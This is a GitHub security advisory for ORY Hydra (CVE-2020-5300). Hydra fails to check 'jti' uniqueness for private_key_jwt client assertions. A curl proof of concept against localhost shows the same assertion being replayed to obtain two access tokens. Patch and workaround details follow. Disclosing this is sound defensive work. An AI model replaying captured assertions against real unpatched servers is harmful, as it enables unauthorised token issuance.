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GHSA-3p3g-vpw6-4w66 Authentication Bypass in hydra
MEDIUM
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- Aliases
- CVE-2020-5300
- Ecosystem
- Go
- Packages
- github.com/ory/hydra
- Severity
- Moderate
- CVSS vector
- CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:N/A:N
- Weaknesses
- CWE-294
- Reviewed
- 2021-05-24
Affected packages
• Go github.com/ory/hydra: < 1.4.0 → fixed in 1.4.0
Description
Impact
When using client authentication method "private_key_jwt" [1], OpenId specification says the following about assertion `jti`:
> A unique identifier for the token, which can be used to prevent reuse of the token. These tokens MUST only be used once, unless conditions for reuse were negotiated between the parties
Hydra does not seem to check the uniqueness of this `jti` value. Here is me sending the same token request twice, hence with the same `jti` assertion, and getting two access tokens:
```
$ curl --insecure --location --request POST 'https://localhost/_/oauth2/token' \
--header 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode 'grant_type=client_credentials' \
--data-urlencode 'client_id=c001d00d-5ecc-beef-ca4e-b00b1e54a111' \
--data-urlencode 'scope=application openid' \
--data-urlencode 'client_assertion_type=urn:ietf:params:oauth:client-assertion-type:jwt-bearer' \
--data-urlencode 'client_assertion=eyJhb [...] jTw'
{"access_token":"zeG0NoqOtlACl8q5J6A-TIsNegQRRUzqLZaYrQtoBZQ.VR6iUcJQYp3u_j7pwvL7YtPqGhtyQe5OhnBE2KCp5pM","expires_in":3599,"scope":"application openid","token_type":"bearer"}⏎ ~$ curl --insecure --location --request POST 'https://localhost/_/oauth2/token' \
--header 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode 'grant_type=client_credentials' \
--data-urlencode 'client_id=c001d00d-5ecc-beef-ca4e-b00b1e54a111' \
--data-urlencode 'scope=application openid' \
--data-urlencode 'client_assertion_type=urn:ietf:params:oauth:client-assertion-type:jwt-bearer' \
--data-urlencode 'client_assertion=eyJhb [...] jTw'
{"access_token":"wOYtgCLxLXlELORrwZlmeiqqMQ4kRzV-STU2_Sollas.mwlQGCZWXN7G2IoegUe1P0Vw5iGoKrkOzOaplhMSjm4","expires_in":3599,"scope":"application openid","token_type":"bearer"}
```
Severity
We rate the severity as medium because the following reasons make it hard to replay tokens without the patch:
• TLS protects against MITM which makes it difficult to intercept valid tokens for replay attacks
• The expiry time of the JWT gives only a short window of opportunity where it could be replayed
Patches
This will be patched with v1.4.0+oryOS.17
Workarounds
Two workarounds have been identified:
• Do not allow clients to use `private_key_jwt`
• Use short expiry times for the JWTs
References
https://openid.net/specs/openid-connect-core-1_0.html#ClientAuthentication
Upstream
This issue will be resolved in the upstream repository https://github.com/ory/fosite
Related
Alias · CVE (1)
- CVE-2020-5300 In Hydra (an OAuth2 Server and OpenID Certified™ OpenID Connect Provider written in Go), before version 1.4.0+oryOS.17, when using client… vulnerability
Weakness · CWE (1)
- CWE-294 Authentication Bypass by Capture-replay weakness
References
- https://github.com/ory/hydra/security/advisories/GHSA-3p3g-vpw6-4w66 web
- https://nvd.nist.gov/vuln/detail/CVE-2020-5300 advisory
- https://github.com/ory/hydra/commit/700d17d3b7d507de1b1d459a7261d6fb2571ebe3 web
- https://github.com/ory/hydra package
- https://github.com/ory/hydra/releases/tag/v1.4.0 web
- https://openid.net/specs/openid-connect-core-1_0.html#ClientAuthentication web